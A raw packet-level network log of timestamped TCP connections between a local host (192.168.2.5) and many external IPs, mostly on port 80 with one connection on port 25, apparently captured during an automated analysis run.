Oct 25, 2024 11:18:17.021390915 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021420956 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.021424055 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021454096 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.021461010 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021495104 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021522045 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.021528006 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021562099 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021589994 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.021595001 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021632910 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021661043 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.021673918 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021708012 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021735907 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.021740913 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021775007 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021806955 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.021807909 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021878004 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021907091 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.021929026 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021962881 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021990061 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.022054911 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.022105932 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.022131920 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.022139072 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.022172928 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.022200108 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.022206068 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.022238970 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.022268057 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.022272110 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.022305965 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.022336006 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.022337914 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.022372961 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.022401094 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.024104118 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.047045946 CEST	80	53019	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.052215099 CEST	53019	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.087624073 CEST	80	53021	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.092050076 CEST	53021	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.118136883 CEST	80	53021	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.119800091 CEST	80	53012	211.1.226.67	192.168.2.5
Oct 25, 2024 11:18:17.120094061 CEST	53012	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:17.120100975 CEST	53021	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.135550976 CEST	80	52998	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:17.136161089 CEST	52998	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:17.142543077 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:17.142824888 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:17.144464016 CEST	80	52998	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:17.144717932 CEST	52998	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:17.149426937 CEST	53025	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:17.155231953 CEST	80	53025	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:17.156052113 CEST	53025	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:17.159486055 CEST	53019	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.161366940 CEST	53021	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.161483049 CEST	80	53018	213.186.33.40	192.168.2.5
Oct 25, 2024 11:18:17.161793947 CEST	53018	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:17.164818048 CEST	80	53019	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.166707039 CEST	80	53021	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.171298981 CEST	53025	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:17.176981926 CEST	80	53025	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:17.185581923 CEST	80	53014	5.196.166.214	192.168.2.5
Oct 25, 2024 11:18:17.190443039 CEST	53014	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:18:17.192763090 CEST	80	53017	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:17.193778992 CEST	53017	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:17.260301113 CEST	53026	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:17.261529922 CEST	53027	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.262238026 CEST	53028	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:17.262922049 CEST	53029	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.265176058 CEST	53012	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:17.265727997 CEST	80	53026	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:17.266832113 CEST	80	53027	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.266946077 CEST	53027	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.266953945 CEST	53026	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:17.267173052 CEST	53004	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:17.267544031 CEST	80	53028	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:17.267656088 CEST	53028	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:17.268203020 CEST	80	53029	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.268471956 CEST	53029	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.269146919 CEST	53026	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:17.270711899 CEST	80	53012	211.1.226.67	192.168.2.5
Oct 25, 2024 11:18:17.272492886 CEST	80	53004	213.186.33.40	192.168.2.5
Oct 25, 2024 11:18:17.274544954 CEST	80	53026	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:17.286429882 CEST	53011	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:17.286438942 CEST	53027	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.287092924 CEST	53028	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:17.287193060 CEST	53029	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.289308071 CEST	53030	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:17.291979074 CEST	53018	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:17.292072058 CEST	80	53011	85.131.197.10	192.168.2.5
Oct 25, 2024 11:18:17.292105913 CEST	80	53027	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.292840004 CEST	80	53028	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:17.293086052 CEST	80	53029	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.294229031 CEST	53031	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.294799089 CEST	80	53030	192.252.154.18	192.168.2.5
Oct 25, 2024 11:18:17.295089960 CEST	53030	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:17.295566082 CEST	53030	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:17.297622919 CEST	80	53018	213.186.33.40	192.168.2.5
Oct 25, 2024 11:18:17.299633026 CEST	80	53031	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.299918890 CEST	53031	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.300965071 CEST	53031	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.301285028 CEST	80	53030	192.252.154.18	192.168.2.5
Oct 25, 2024 11:18:17.305881023 CEST	52672	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:17.305882931 CEST	53033	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:17.306567907 CEST	80	53031	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.307305098 CEST	80	52853	193.166.255.171	192.168.2.5
Oct 25, 2024 11:18:17.307959080 CEST	52853	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:17.311364889 CEST	80	52672	208.109.214.162	192.168.2.5
Oct 25, 2024 11:18:17.311395884 CEST	80	53033	208.109.214.162	192.168.2.5
Oct 25, 2024 11:18:17.311549902 CEST	53033	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:17.318928003 CEST	52853	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:17.319785118 CEST	53033	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:17.320123911 CEST	53017	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:17.320820093 CEST	53035	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:17.324326038 CEST	80	52853	193.166.255.171	192.168.2.5
Oct 25, 2024 11:18:17.325216055 CEST	80	53033	208.109.214.162	192.168.2.5
Oct 25, 2024 11:18:17.325578928 CEST	80	53017	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:17.326340914 CEST	80	53035	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:17.326443911 CEST	53035	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:17.326630116 CEST	53035	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:17.332416058 CEST	80	53035	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:17.353437901 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:17.353810072 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:17.357774973 CEST	53038	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.359129906 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:17.359311104 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:17.359379053 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:17.359438896 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:17.359530926 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:17.363183022 CEST	80	53038	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.363337994 CEST	53038	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.363595963 CEST	53038	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.365195990 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:17.367131948 CEST	53039	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:17.368863106 CEST	80	53038	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.372493982 CEST	80	53039	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:17.373059988 CEST	53039	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:17.373245001 CEST	53039	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:17.378918886 CEST	80	53039	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:17.379899979 CEST	52605	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:17.380218983 CEST	53040	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:17.385356903 CEST	80	52605	154.53.43.150	192.168.2.5
Oct 25, 2024 11:18:17.385608912 CEST	80	53040	154.53.43.150	192.168.2.5
Oct 25, 2024 11:18:17.385719061 CEST	53040	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:17.386282921 CEST	53040	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:17.392083883 CEST	80	53040	154.53.43.150	192.168.2.5
Oct 25, 2024 11:18:17.410264015 CEST	53041	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:17.415817976 CEST	80	53041	208.109.214.162	192.168.2.5
Oct 25, 2024 11:18:17.415895939 CEST	53041	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:17.416001081 CEST	53041	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:17.422173023 CEST	80	53041	208.109.214.162	192.168.2.5
Oct 25, 2024 11:18:17.507673979 CEST	80	53004	213.186.33.40	192.168.2.5
Oct 25, 2024 11:18:17.507745028 CEST	53004	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:17.512039900 CEST	80	52910	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:17.512152910 CEST	52910	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:17.539387941 CEST	80	53018	213.186.33.40	192.168.2.5
Oct 25, 2024 11:18:17.539457083 CEST	53018	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:17.539555073 CEST	80	53012	211.1.226.67	192.168.2.5
Oct 25, 2024 11:18:17.539634943 CEST	53012	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:17.540976048 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:17.541038036 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:17.553627968 CEST	80	53011	85.131.197.10	192.168.2.5
Oct 25, 2024 11:18:17.553685904 CEST	53011	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:17.573486090 CEST	80	53017	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:17.573549032 CEST	53017	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:17.586117983 CEST	80	53023	5.196.166.214	192.168.2.5
Oct 25, 2024 11:18:17.586172104 CEST	80	53023	5.196.166.214	192.168.2.5
Oct 25, 2024 11:18:17.586257935 CEST	53023	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:18:17.734478951 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.734536886 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.734730959 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.734889030 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.734940052 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.734973907 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.735023975 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.735054970 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.735054970 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.735059023 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.735090017 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.735110998 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.735111952 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.735146999 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.735183001 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.735203028 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.735228062 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.740452051 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.740485907 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.740520954 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.740636110 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.740706921 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.752877951 CEST	52681	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.753150940 CEST	53044	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.758807898 CEST	80	53044	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.758883953 CEST	53044	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.759391069 CEST	80	52681	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.759460926 CEST	52681	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.761418104 CEST	53044	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.767126083 CEST	80	53044	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.822755098 CEST	80	52861	193.166.255.171	192.168.2.5
Oct 25, 2024 11:18:17.824182034 CEST	52861	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:17.824562073 CEST	52861	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:17.827227116 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.827260971 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.827296019 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.827299118 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.827328920 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.827339888 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.827372074 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.827421904 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.827455044 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.827466965 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.827490091 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.827523947 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.827537060 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.827558041 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.827565908 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.827594042 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.827636957 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.829843998 CEST	80	52861	193.166.255.171	192.168.2.5
Oct 25, 2024 11:18:17.832969904 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.833003998 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.833112955 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.833121061 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.836103916 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.850857973 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.850910902 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.850944996 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.850950956 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.850972891 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.850994110 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.851028919 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.851037979 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.851064920 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.851095915 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.851099968 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.851133108 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.851166010 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.851176977 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.851176977 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.851176977 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.851198912 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.851210117 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.851294994 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.856308937 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.856359959 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.856550932 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.856589079 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.856589079 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.856610060 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.856698990 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.856698990 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.856758118 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.857026100 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.857239962 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.857269049 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.857302904 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.857352972 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.857379913 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.857408047 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.857419014 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.857453108 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.857472897 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.857498884 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.858022928 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.858073950 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.858108997 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.858141899 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.858174086 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.858175039 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.858174086 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.858205080 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.858230114 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.875771046 CEST	80	53025	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:17.876117945 CEST	53025	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:17.901329041 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:17.901727915 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.901760101 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.902012110 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.902183056 CEST	53046	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:17.906311035 CEST	80	53031	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.906377077 CEST	53031	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.906692028 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:17.906755924 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:17.907603025 CEST	80	53046	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:17.908091068 CEST	53046	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:17.913392067 CEST	53046	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:17.918828964 CEST	80	53046	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:17.923583031 CEST	53024	25	192.168.2.5	87.248.97.31
Oct 25, 2024 11:18:17.935190916 CEST	80	53026	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:17.935270071 CEST	53026	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:17.937782049 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:17.943239927 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:17.945964098 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.945998907 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.946032047 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.946088076 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.946089029 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.946113110 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.946146011 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.946182966 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.946218014 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.946232080 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.946250916 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.946266890 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.946286917 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.946320057 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.946337938 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.947005987 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.947058916 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.947108984 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.947141886 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.947174072 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.947185993 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.947222948 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.947928905 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.947962046 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.947993994 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.948081970 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.948112011 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.948350906 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.948400021 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.948434114 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.948456049 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.948467016 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.948479891 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.948502064 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.948513031 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.948905945 CEST	53009	80	192.168.2.5	74.208.236.101
